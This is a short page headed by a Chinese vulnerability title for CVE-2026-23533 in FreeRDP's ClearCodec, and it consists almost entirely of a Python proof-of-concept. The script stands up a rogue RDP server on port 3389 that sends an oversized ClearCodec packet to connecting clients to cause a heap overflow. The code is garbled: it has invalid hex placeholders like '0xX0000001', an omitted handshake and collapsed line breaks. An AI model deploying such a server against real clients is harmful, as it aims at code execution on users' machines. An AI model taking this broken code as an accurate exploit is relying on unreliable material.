CVE-2026-23533 FreeRDP ClearCodec堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-23533 PoC - FreeRDP ClearCodec Heap Buffer Overflow This PoC demonstrates the vulnerability by simulating a malicious RDP server that sends crafted ClearCodec packets to trigger heap overflow on connected clients. Note: This is for educational and security testing purposes only. """ import socket import struct import time # RDPGFX Command Types RDPGFX_CMD_CLEARDEFER = 0xX (Placeholder - actual value depends on protocol) def create_malicious_clear数据包(): """ Create a malicious ClearCodec packet that triggers buffer overflow. The packet contains oversized residual data that causes OOB write. """ # Construct malformed ClearCodec packet header header = struct.pack('<I', 0xX0000001) # cmdType: RDPGFX_CLEAR_CODEC # Craft payload with excessive data size # This causes the decoder to write beyond allocated buffer payload_size = 0xX0001000 # Intentionally large size payload = b'\x41' * payload_size # Fill with non-zero data return header + payload def rdp_server_exploit(bind_host='0.0.0.0', bind_port=3389): """ Start a malicious RDP server that exploits CVE-2026-23533. """ server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((bind_host, bind_port)) server_socket.listen(5) print(f"[*] Malicious RDP Server listening on {bind_host}:{bind_port}") print("[*] Waiting for FreeRDP client connection...") while True: try: client_socket, client_addr = server_socket.accept() print(f"[+] Client connected from {client_addr}") # Perform RDP handshake # (Simplified - actual implementation requires full RDP protocol) # Send malicious ClearCodec packets malicious_packet = create_malicious_clear数据包() client_socket.send(malicious_packet) print("[*] Sent malicious ClearCodec packet") print("[*] If vulnerable FreeRDP client, heap overflow should occur") client_socket.close() except Exception as e: print(f"[-] Error: {e}") continue if __name__ == '__main__': print("=" * 60) print("CVE-2026-23533 FreeRDP ClearCodec Heap Buffer Overflow PoC") print("=" * 60) rdp_server_exploit()